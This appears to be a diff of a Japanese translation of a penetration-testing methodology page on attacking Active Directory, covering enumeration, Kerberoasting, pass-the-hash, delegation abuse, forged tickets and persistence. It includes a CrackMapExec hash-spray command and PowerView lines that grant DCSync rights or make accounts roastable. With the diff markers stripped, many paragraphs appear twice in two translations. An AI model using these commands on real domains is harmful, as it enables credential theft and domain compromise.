- LDAP データベースを **ldapsearch** で検索し、_userPassword_ や _unixUserPassword_ のフィールド、または _Description_ に認証情報がないか探せます。その他の方法は cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) を参照してください。
|
||||
- **Linux** を使っている場合は [**pywerview**](https://github.com/the-useless-one/pywerview) でドメインを列挙することもできます。
|
||||
- 次の自動化ツールも試してみてください:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- 基本的な recon を実行するために [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) を使用できます
|
||||
- よりステルスに行うには [**powershell for recon**](../basic-powershell-for-pentesters/index.html) を使うこともできます
|
||||
- より詳細な情報を抽出するには [**use powerview**](../basic-powershell-for-pentesters/powerview.md) を使えます
|
||||
- Active Directory の recon にもう一つ素晴らしいツールは [**BloodHound**](bloodhound.md) です。使用するコレクション方法によりますが、**あまりステルスではありません**。しかしそれを気にしないなら、ぜひ試してみてください。ユーザーがどこで RDP できるか、他のグループへの経路を見つけるなど。
|
||||
- **その他の自動化された AD 列挙ツール:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS records of the AD**](ad-dns-records.md) は興味深い情報を含んでいる可能性があります。
|
||||
- ディレクトリを列挙するために使える **GUI ツール** は **AdExplorer.exe**(**SysInternal** Suite)です。
|
||||
- **ldapsearch** で LDAP データベースを検索し、_userPassword_ や _unixUserPassword_ のフィールド、あるいは _Description_ を調べることもできます。その他の方法については cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) を参照してください。
|
||||
- **Linux** を使っている場合は、[**pywerview**](https://github.com/the-useless-one/pywerview) でドメインを列挙することもできます。
|
||||
- また以下の自動化ツールを試すこともできます:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Extracting all domain users**
|
||||
|
||||
Windows ではドメインの全ユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`、または `wmic useraccount get name,sid`)。Linux では `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` や `enum4linux -a -u "user" -p "password" <DC IP>` を使用できます。
|
||||
Windows では `net user /domain`、`Get-DomainUser`、または `wmic useraccount get name,sid` でドメイン内のユーザー名を取得するのは非常に簡単です。Linux では `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` や `enum4linux -a -u "user" -p "password" <DC IP>` を使用できます。
|
||||
|
||||
> たとえこの Enumeration セクションが短く見えても、これは最も重要な部分です。リンク(主に cmd、powershell、powerview、BloodHound のもの)にアクセスして、ドメインの列挙方法を学び、十分に慣れるまで練習してください。評価中は、ここが DA に到達する道を見つけるか、何もできないと判断する重要な瞬間になります。
|
||||
> この列挙セクションが短く見えても、最も重要な部分です。リンク(主に cmd、powershell、powerview、BloodHound のもの)を参照し、ドメインの列挙方法を学び、十分に慣れるまで練習してください。評価の際、ここが DA に到達する方法を見つけるか、何もできないと判断する重要な瞬間になります。
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting は、サービスに紐付いたユーザーアカウントが使う **TGS tickets** を取得し、その暗号(ユーザーパスワードに基づく)をオフラインでクラッキングする手法です。
|
||||
Kerberoasting は、ユーザーアカウントに紐づくサービスが使用する **TGS tickets** を取得し、それらの暗号化(ユーザーパスワードに基づく)を **オフライン** でクラックすることを含みます。
|
||||
|
||||
詳細は以下を参照:
|
||||
More about this in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -196,17 +197,17 @@ kerberoast.md
|
||||
|
||||
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
|
||||
|
||||
認証情報を入手したら、任意の **machine** にアクセスできるか確認してください。そのために、CrackMapExec を使用してポートスキャン結果に基づき複数のサーバーへ異なるプロトコルで接続を試みることができます。
|
||||
資格情報を入手したら、任意のマシンにアクセスできるか確認してください。そのために、ポートスキャンに応じて複数のサーバーへ異なるプロトコルで接続を試みるために **CrackMapExec** を使用できます。
|
||||
|
||||
### Local Privilege Escalation
|
||||
|
||||
通常のドメインユーザーとして認証情報やセッションを奪取し、かつドメイン内の任意の **machine** へそのユーザーで**アクセス**できる場合は、まずローカルでの権限昇格と認証情報の収集を試みるべきです。ローカル管理者権限を得ることで、LSASS のメモリやローカル SAM などから他ユーザーのハッシュを**ダンプ**できるようになります。
|
||||
通常のドメインユーザーとして資格情報やセッションを侵害しており、そのユーザーでドメイン内の任意のマシンに **アクセス** できる場合、ローカルで権限昇格して資格情報を回収(loot)する方法を探すべきです。なぜなら、ローカル管理者権限がなければ他ユーザーのハッシュをメモリ(LSASS)やローカル(SAM)からダンプできないからです。
|
||||
|
||||
本書には [**Windows のローカル権限昇格**](../windows-local-privilege-escalation/index.html) に関する完全なページと、[**チェックリスト**](../checklist-windows-privilege-escalation.md) があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) の使用も忘れないでください。
|
||||
本書には [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) に関する完全なページと、[**checklist**](../checklist-windows-privilege-escalation.md) があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) の使用も忘れないでください。
|
||||
|
||||
### Current Session Tickets
|
||||
|
||||
現在のユーザーに予期せぬリソースへアクセスする権限を与える**チケット**が見つかる可能性は非常に**低い**ですが、確認は可能です:
|
||||
現在のユーザーに、予期しないリソースへの**アクセス権を与える**ような**tickets** が見つかる可能性は非常に **低い** ですが、確認はできます:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -216,17 +217,18 @@ kerberoast.md
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
active directory を列挙できれば、**より多くのメールアドレスとネットワークの理解**が得られます。NTLM の [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
If you have managed to enumerate the Active Directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### Looks for Creds in Computer Shares | SMB Shares
|
||||
### コンピュータ共有で資格情報を探す | SMB Shares
|
||||
|
||||
基本的な資格情報を持っているなら、AD 内で共有されている**興味深いファイル**がないか**確認**すべきです。手動で調べることもできますが、非常に退屈で反復的な作業です(チェックすべきドキュメントが何百もあればなおさらです)。
|
||||
基本的な資格情報を入手したら、AD 内で共有されている**興味深いファイル**がないか**確認**してください。手動でも可能ですが、非常に退屈で反復的な作業になります(数百のドキュメントを確認する必要がある場合はさらに大変です)。
|
||||
|
||||
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
[**このリンクから使用可能なツールについて学んでください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
もし**他の PCs や shares にアクセスできる**なら、**ファイルを配置**(例: SCF file)して、誰かがアクセスしたときに**あなたに対して NTLM 認証がトリガーされる**ようにし、**NTLM challenge** を**盗んで**クラックすることができます:
|
||||
If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -234,31 +236,33 @@ active directory を列挙できれば、**より多くのメールアドレス
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
この脆弱性により、認証済みユーザーであれば誰でも**domain controller を侵害**できました。
|
||||
This vulnerability allowed any authenticated user to **compromise the domain controller**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## Active Directory での権限昇格(privileged credentials/session 必須)
|
||||
## Privilege escalation on Active Directory WITH privileged credentials/session
|
||||
|
||||
**以下の手法では通常のドメインユーザーでは不十分で、これらの攻撃を実行するには特別な権限/資格情報が必要です。**
|
||||
**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
|
||||
|
||||
### Hash extraction
|
||||
|
||||
幸いにも [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)(リレーを含む)、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[escalating privileges locally](../windows-local-privilege-escalation/index.html) 等を使って**ローカル管理者アカウントを侵害**できているかもしれません。\
|
||||
その後、メモリおよびローカルからハッシュをすべてダンプする時です。\
|
||||
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
その後、メモリおよびローカルからすべてのハッシュをダンプする時です。\
|
||||
[**ハッシュを取得するさまざまな方法についてはこちらのページを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**ユーザーの hash を入手したら**、それを使って**そのユーザーになりすます**ことができます。\
|
||||
そのためには、当該 **hash を使って NTLM 認証を行う**ような**ツール**を使うか、新しい **sessionlogon** を作成してその **hash を LSASS に注入**し、以後の **NTLM 認証が実行される際にその hash が使用される**ようにする方法があります。最後の方法が mimikatz のやり方です。\
|
||||
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
|
||||
**Once you have the hash of a user**, you can use it to **impersonate** it.\
|
||||
そのためには、そのハッシュを使って**NTLM authenticationを行う**ような**ツール**を使用するか、あるいは新しい**sessionlogon**を作成してそのハッシュを**LSASS**に**注入**する方法があります。そうすれば、NTLM 認証が行われる際にそのハッシュが使用されます。後者の方法がmimikatzのやり方です。\
|
||||
[**詳細はこのページを参照してください。**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
この攻撃は、ユーザーの NTLM hash を使って Kerberos チケットを要求することを目的としています。これは NTLM プロトコル上での一般的な Pass The Hash の代替手段であり、NTLM が無効化され Kerberos のみが認証に許可されているネットワークで特に**有用**です。
|
||||
This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -266,7 +270,8 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
Pass The Ticket (PTT) 攻撃では、攻撃者はパスワードやハッシュの代わりにユーザーの**認証チケットを盗み**ます。盗まれたチケットはユーザーに**成りすます**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを可能にします。
|
||||
In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -274,20 +279,20 @@ pass-the-ticket.md
|
||||
|
||||
### Credentials Reuse
|
||||
|
||||
local administrator の **hash** または **password** を持っている場合は、それを使って他の **PCs** に**ローカルログイン**してみてください。
|
||||
If you have the **hash** or **password** of a **local administrator** you should try to **login locally** to other **PCs** with it.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> これはかなり**ノイズが多い**点に注意してください。**LAPS**はこれを**軽減**します。
|
||||
> 注意: これはかなり**noisy**で、**LAPS**が**mitigate**します。
|
||||
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
ユーザーが**MSSQL instances にアクセスする**権限を持っている場合、MSSQL ホスト上で(SA として動作していれば)**コマンドを実行する**、NetNTLM **hash を盗む**、あるいは**relay attack を実行する**ことが可能になります。\
|
||||
また、ある MSSQL インスタンスが別の MSSQL インスタンスから信頼(database link)されている場合、もしユーザーが信頼されたデータベースに対する権限を持っていれば、**信頼関係を利用して他のインスタンスでもクエリを実行できる**ようになります。これらの信頼は連鎖することがあり、最終的にコマンドを実行できるようにミスコンフィグされたデータベースを見つけられるかもしれません。\
|
||||
**データベース間のリンクはフォレストトラストを越えても機能します。**
|
||||
もしユーザが**access MSSQL instances**する権限を持っている場合、MSSQLホスト上で(SAとして実行されていれば)**execute commands**したり、NetNTLMの**hash**を**steal**したり、さらには**relay** **attack**を実行できる可能性があります。\
|
||||
また、あるMSSQLインスタンスが別のMSSQLインスタンスからtrust(database link)されている場合、ユーザが信頼されたデータベースに対する権限を持っていれば、**use the trust relationship to execute queries also in the other instance**ことが可能になります。これらのトラストは連鎖することがあり、最終的にコマンドを実行できるような誤設定されたデータベースを見つけられるかもしれません。\
|
||||
**The links between databases work even across forest trusts.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -296,7 +301,7 @@ abusing-ad-mssql.md
|
||||
|
||||
### IT asset/deployment platforms abuse
|
||||
|
||||
サードパーティ製のインベントリやデプロイメントスイートは、資格情報やコード実行への強力な経路を露出することがよくあります。参照:
|
||||
サードパーティのインベントリやデプロイメントスイートは、資格情報やコード実行への強力な経路を露出することがよくあります。参照:
|
||||
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
@ -308,9 +313,9 @@ lansweeper-security.md
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) を持つ Computer オブジェクトを見つけ、かつそのコンピュータ上でドメイン権限を持っている場合、そのコンピュータにログオンするすべてのユーザーのメモリから TGT をダンプすることができます。\
|
||||
したがって、**Domain Admin がそのコンピュータにログオンした場合**、その TGT をダンプして [Pass the Ticket](pass-the-ticket.md) を用いてなりすますことができます。\
|
||||
constrained delegation を利用すれば、**プリントサーバーを自動的に乗っ取る**(運良く DC であれば)ことさえ可能です。
|
||||
もしComputerオブジェクトに属性[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)があり、かつそのコンピュータ上でドメイン権限を持っている場合、当該コンピュータにログオンしたすべてのユーザのメモリからTGTをダンプすることができます。\
|
||||
したがって、**Domain Adminがそのコンピュータにログインすると**、彼のTGTをダンプして[Pass the Ticket](pass-the-ticket.md)を使ってなりすますことができます。\
|
||||
constrained delegationを利用すれば、**自動的にPrint Serverを乗っ取る**ことさえ可能です(運が良ければそれはDCでしょう)。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -319,8 +324,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
ユーザーやコンピュータが "Constrained Delegation" を許可されている場合、そのユーザー/コンピュータは**特定のコンピュータ上のサービスに対して任意のユーザーを偽装してアクセスできる**ようになります。\
|
||||
そのため、このユーザー/コンピュータのハッシュを**奪取**すると、(Domain Admin を含む)**任意のユーザーを偽装してサービスにアクセスできる**ようになります。
|
||||
もしユーザまたはコンピュータが "Constrained Delegation" を許可されていると、そのコンピュータ上のあるサービスに対して**任意のユーザをインパーソネートしてアクセスする**ことができるようになります。\
|
||||
そして、このユーザ/コンピュータのハッシュを**compromise**すれば、(ドメイン管理者であっても)**任意のユーザをインパーソネートして**サービスにアクセスできます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -329,7 +334,7 @@ constrained-delegation.md
|
||||
|
||||
### Resourced-based Constrain Delegation
|
||||
|
||||
リモートコンピュータの Active Directory オブジェクトに対する **WRITE** 権限を持っていると、**昇格した権限でのコード実行**を得ることが可能になります:
|
||||
リモートコンピュータのActive Directoryオブジェクトに対して**WRITE**権限を持つことは、**昇格した権限**でコード実行を達成することを可能にします:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -338,7 +343,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### Permissions/ACLs Abuse
|
||||
|
||||
侵害されたユーザーは、後で横移動や権限昇格を行えるような**ドメインオブジェクトに対する興味深い特権**を持っている場合があります。
|
||||
乗っ取ったユーザが、今後**横移動/権限昇格**を可能にするような**興味深い権限をドメインオブジェクトに対して持っている**ことがあります。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -347,7 +352,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Printer Spooler service abuse
|
||||
|
||||
ドメイン内で**Spool サービスが待ち受けている**ことを発見すると、これを**悪用して新しい資格情報を取得**したり**権限を昇格**させたりすることができます。
|
||||
ドメイン内で**Spool serviceがリッスンしている**ことを発見すると、これを**悪用して新しい資格情報を取得**し、**権限を昇格**することができます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -356,8 +361,8 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Third party sessions abuse
|
||||
|
||||
**他のユーザー**が**侵害された**マシンに**アクセス**している場合、メモリから資格情報を**収集**したり、彼らのプロセスにビーコンを**インジェクト**してなりすますことが可能です。\
|
||||
通常ユーザーは RDP 経由でシステムにアクセスするため、ここでは第三者の RDP セッションに対するいくつかの攻撃方法を示します:
|
||||
もし**他のユーザが**その**compromised**マシンに**アクセス**している場合、メモリから資格情報を**gather**したり、彼らのプロセスに**beaconsをinject**してなりすますことが可能です。\
|
||||
通常、ユーザはRDP経由でシステムにアクセスするため、サードパーティRDPセッションに対していくつかの攻撃を実施する方法は次の通りです:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -366,7 +371,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** はドメイン参加コンピュータの **ローカル Administrator パスワード** を管理するためのシステムで、パスワードを**ランダム化**し一意にし、頻繁に**変更**します。これらのパスワードは Active Directory に保存され、アクセスは ACL によって認可ユーザーのみに制御されます。これらのパスワードにアクセスする十分な権限があれば、他のコンピュータへピボットすることが可能になります。
|
||||
**LAPS**はドメイン参加コンピュータの**local Administrator password**を管理するシステムを提供し、それらを**ランダム化**、一意化、頻繁に**変更**します。これらのパスワードはActive Directoryに保存され、アクセスはACLを通じて許可されたユーザだけに制御されます。これらのパスワードにアクセスするための十分な権限があれば、他のコンピュータへのピボットが可能になります。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -375,7 +380,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
侵害したマシンから**証明書を収集する**ことは、環境内で権限を昇格させる手段となり得ます:
|
||||
**compromised machineからのcertificatesの収集**は、環境内で権限を昇格する手段になり得ます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -384,18 +389,18 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
**脆弱なテンプレート**が設定されている場合、それらを悪用して権限を昇格させることが可能です:
|
||||
もし**脆弱なテンプレート**が設定されていれば、それらを悪用して権限を昇格することが可能です:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
{{#endref}
|
||||
|
||||
## Post-exploitation with high privilege account
|
||||
### Post-exploitation with high privilege account
|
||||
|
||||
### Dumping Domain Credentials
|
||||
|
||||
一度 **Domain Admin**、あるいはさらに良く **Enterprise Admin** の権限を得たら、ドメインデータベース _ntds.dit_ を**ダンプ**することができます。
|
||||
一度**Domain Admin**、あるいはさらに良い**Enterprise Admin**の権限を取得すると、ドメインデータベースである _ntds.dit_ を**dump**できます。
|
||||
|
||||
[**More information about DCSync attack can be found here**](dcsync.md).
|
||||
|
||||
@ -403,22 +408,22 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Privesc as Persistence
|
||||
|
||||
前述したいくつかの手法は、パーシステンスに利用できます。\
|
||||
例えば以下のようなことが可能です:
|
||||
前述のいくつかの技術は、永続化のためにも使用できます。\
|
||||
例えば、次のようなことが可能です:
|
||||
|
||||
- ユーザーを [**Kerberoast**](kerberoast.md) に脆弱にする
|
||||
- ユーザを[**Kerberoast**](kerberoast.md)に脆弱にする
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
|
||||
```
|
||||
|
||||
- ユーザーを [**ASREPRoast**](asreproast.md) に脆弱にする
|
||||
- ユーザを[**ASREPRoast**](asreproast.md)に脆弱にする
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- ユーザーに [**DCSync**](#dcsync) 権限を付与する
|
||||
- ユーザに[**DCSync**](#dcsync)権限を付与する
|
||||
|
||||
```bash
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
@ -426,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
**Silver Ticket attack** は、特定のサービス用の正当な Ticket Granting Service (TGS) チケットを、(例えば PC アカウントの)**NTLM hash** を使用して作成し、サービス権限へアクセスするために用いられます。
|
||||
**Silver Ticket attack**は、特定のサービス向けに正当なTicket Granting Service (TGS)チケットを、(例えばPCアカウントの)**NTLM hash**を用いて作成する攻撃です。この手法は**サービスの権限にアクセスする**ために使用されます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -435,9 +440,9 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
**Golden Ticket attack** は、Active Directory 環境で **krbtgt アカウントの NTLM hash** を攻撃者が取得することを伴います。このアカウントはすべての **Ticket Granting Ticket (TGT)** に署名するために使われる特別な存在です。
|
||||
**Golden Ticket attack**は、Active Directory環境における**krbtgtアカウントのNTLM hash**を攻撃者が入手することを含みます。krbtgtはすべての**Ticket Granting Tickets (TGTs)**を署名するために用いられる特別なアカウントです。
|
||||
|
||||
攻撃者がこの hash を手に入れると、任意のアカウント用に **TGT** を生成できるようになります(Silver ticket attack と組み合わせ可能です)。
|
||||
攻撃者がこのハッシュを入手すると、任意のアカウントの**TGTs**を作成できるようになります(Silver ticket攻撃の一種)。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -446,7 +451,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
これらは、一般的な golden tickets 検知メカニズムを**回避する**ように偽造された golden ticket のようなものです。
|
||||
これは、一般的なgolden ticket検出メカニズムを**回避するようにforgeされたgolden ticketのようなもの**です。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -455,7 +460,7 @@ diamond-ticket.md
|
||||
|
||||
### **Certificates Account Persistence**
|
||||
|
||||
アカウントの **証明書を所持すること、またはそれを要求できること** は、(ユーザーがパスワードを変更しても)そのアカウントにパーシステンスを持つ非常に良い方法です:
|
||||
**アカウントのcertificatesを保持している、またはそれらを要求できること**は、ユーザのアカウントに永続化する非常に有効な手段です(たとえパスワードを変更されても):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -464,7 +469,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**証明書を使用することで、ドメイン内で高い特権を持ったままパーシステンスを維持する**ことも可能です:
|
||||
**certificatesを使用して、ドメイン内で高権限の永続化を行う**ことも可能です:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -473,13 +478,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
Active Directory の **AdminSDHolder** オブジェクトは、Domain Admins や Enterprise Admins のような**特権グループ**のセキュリティを確保するため、これらのグループに標準の **ACL** を適用して不正な変更を防ぎます。しかしこの機能は悪用され得ます。攻撃者が AdminSDHolder の ACL を変更して通常ユーザーにフルアクセスを与えると、そのユーザーはすべての特権グループを広範に制御できるようになります。この保護機能は注意深く監視されていなければ、逆に不正アクセスを許してしまう可能性があります。
|
||||
Active Directoryの**AdminSDHolder**オブジェクトは、Domain AdminsやEnterprise Adminsのような**特権グループ**のセキュリティを確保するため、これらのグループに対して標準の**ACL**を適用して不正な変更を防ぎます。しかし、この機能は悪用され得ます。攻撃者がAdminSDHolderのACLを変更して通常ユーザにフルアクセスを与えれば、そのユーザはすべての特権グループに対して広範な制御を得ることになります。本来保護のための機能が、監視されていなければ不正アクセスを許すことがある、という点に注意してください。
|
||||
|
||||
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
すべての **Domain Controller (DC)** にはローカル管理者アカウントが存在します。そうしたマシンで管理者権限を取得すると、mimikatz を使ってローカル Administrator のハッシュを抽出できます。その後、レジストリを変更して**このパスワードの使用を可能にする**必要があり、これによりリモートからローカル Administrator アカウントへアクセスできます。
|
||||
すべての**Domain Controller (DC)**には**ローカル管理者**アカウントが存在します。そうしたマシンで管理者権を取得すれば、mimikatzを使ってローカルAdministratorのハッシュを抽出できます。その後、リモートでこのパスワードを使用できるようにするためにレジストリの変更が必要になります。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -488,7 +493,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistence
|
||||
|
||||
特定のドメインオブジェクトに対して、将来的に権限を昇格させることができるような**特別な権限**をユーザーに**付与する**ことができます。
|
||||
特定のドメインオブジェクトに対して、将来的に権限昇格を可能にするような**特別な権限をユーザに付与する**ことができます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -497,7 +502,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Security descriptors** はオブジェクトが持つ**権限**を**格納**するために使用されます。オブジェクトのセキュリティディスクリプタに**少しの変更**を加えるだけで、特権グループに属していなくてもそのオブジェクトに対して非常に興味深い権限を得ることができます。
|
||||
**security descriptors**は、オブジェクトが持つ**権限**を**格納する**ために使用されます。もしオブジェクトのセキュリティディスクリプタに**少し変更**を加えられるだけで、特権グループのメンバーでなくてもそのオブジェクトに対して非常に興味深い権限を得ることができます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -506,7 +511,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
LSASS のメモリを改変して**全アカウントに共通のパスワード**を設定し、すべてのドメインアカウントへアクセス可能にします。
|
||||
LSASSのメモリを改変して**ユニバーサルパスワード**を設定し、すべてのドメインアカウントへのアクセスを可能にします。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -516,7 +521,7 @@ skeleton-key.md
|
||||
### Custom SSP
|
||||
|
||||
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
独自の **SSP** を作成して、マシンへアクセスする際に使われる **資格情報を平文でキャプチャする**ことができます。
|
||||
独自の**SSP**を作成して、マシンにアクセスする際に使用される**credentialsを平文でcapture**することができます。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -525,8 +530,8 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
新しい Domain Controller を AD に登録し、それを使って指定したオブジェクトに対して(SIDHistory、SPNs などの)属性を **ログを残さずに**プッシュします。これを行うには DA 権限が必要で、ルートドメイン内にいる必要があります。\
|
||||
ただし、間違ったデータを使うと、かなり不自然なログが出るので注意してください。
|
||||
新しいDomain ControllerをADに登録し、それを使って指定したオブジェクトに対してSIDHistoryやSPNsなどの属性を**ログを残さずにpush**します。これを行うにはDA権限とルートドメイン内での実行が必要です。\
|
||||
ただし、誤ったデータを使うとかなり目立つログが出る点に注意してください。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -535,7 +540,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
前述の通り、**LAPS パスワードを読む十分な権限**があれば権限を昇格できますが、これらのパスワードは **パーシステンスを維持する**ためにも利用できます。\
|
||||
前節では**LAPSパスワードを読むための十分な権限がある場合の権限昇格**について説明しました。しかし、これらのパスワードは**永続化のためにも利用**できます。\
|
||||
参照:
|
||||
|
||||
|
||||
